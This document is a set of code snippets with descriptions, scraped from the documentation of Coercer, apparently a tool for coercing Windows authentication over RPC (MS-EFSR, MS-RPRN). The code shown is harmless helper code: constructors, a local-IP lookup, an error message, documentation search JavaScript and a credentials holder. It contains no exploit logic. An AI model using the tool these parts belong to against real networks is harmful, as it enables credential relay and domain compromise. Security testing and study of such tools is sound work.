https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/utils/RPCProtocol.html Initializes the RPCProtocol class, setting up basic attributes like verbosity. It inherits from a parent class and stores the verbose flag. ```python def __init__(self, verbose=False): super(RPCProtocol, self).__init__() self.verbose = verbose ``` -------------------------------- ### Get IP Address to Target Remote Host Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/network/utils.html Determines the local IP address that can reach a specified remote host and port. It attempts to connect to the host and retrieves the source IP address used for the connection. Returns None if the connection fails. ```python def get_ip_address_to_target_remote_host(host, port): """ Function get_ip_address_to_target_remote_host(host, port) """ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect((host, port)) return s.getsockname()[0] except Exception as e: return None ``` -------------------------------- ### Handle DCE Connection Error in Python Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/methods/MS_EFSR/EfsRpcAddUsersToFileEx.html This snippet handles a common error where the DCE object is not initialized, preventing further operations. It prints an informative error message and returns None to indicate failure. This function is crucial for ensuring proper connection setup before executing DCE-related tasks. ```python print("[!] Error: dce is None, you must call connect() first.") return None ``` -------------------------------- ### Initialize Search Functionality in JavaScript Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/methods/MS_RPRN/RpcRemoteFindFirstPrinterChangeNotification.html This asynchronous JavaScript function initializes the search functionality for the documentation. It dynamically loads an external search script (`search.js`) and handles potential errors during loading. Once loaded, it calls `onInput` to display initial search results if a search term is already present in the URL. ```javascript let search, searchErr; async function initialize() { try { search = await new Promise((resolve, reject) => { const script = document.createElement("script"); script.type = "text/javascript"; script.async = true; script.onload = () => resolve(window.pdocSearch); script.onerror = (e) => reject(e); script.src = "../../../search.js"; document.getElementsByTagName("head")[0].appendChild(script); }); } catch (e) { console.error("Cannot fetch pdoc search index"); searchErr = "Cannot fetch search index."; } onInput(); document.querySelector("nav.pdoc").addEventListener("click", e => { if (e.target.hash) { searchBox.value = ""; searchBox.dispatchEvent(new Event("input")); } }); } if (getSearchTerm()) { initialize(); searchBox.value = getSearchTerm(); onInput(); } else { searchBox.addEventListener("focus", initialize, {once: true}); } ``` -------------------------------- ### Initialize Credentials Object (Python) Source: https://github.com/p0dalirius/coercer/blob/master/documentation/coercer/structures/Credentials.html Initializes a Credentials object with various authentication parameters. It accepts username, password, domain, hashes (lmhash, nthash), and optional Kerberos settings (doKerberos, kdcHost). ```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- # File name : Credentials.py # Author : Podalirius (@podalirius_) # Date created : 16 Sep 2022 class Credentials(object): """ Documentation for class Credentials """ def __init__(self, username, password, domain, lmhash, nthash, doKerberos=False, kdcHost=None): super(Credentials, self).__init__() self.username = username self.password = password self.domain = domain self.lmhash = lmhash self.nthash = nthash self.doKerberos = doKerberos self.kdcHost = kdcHost ```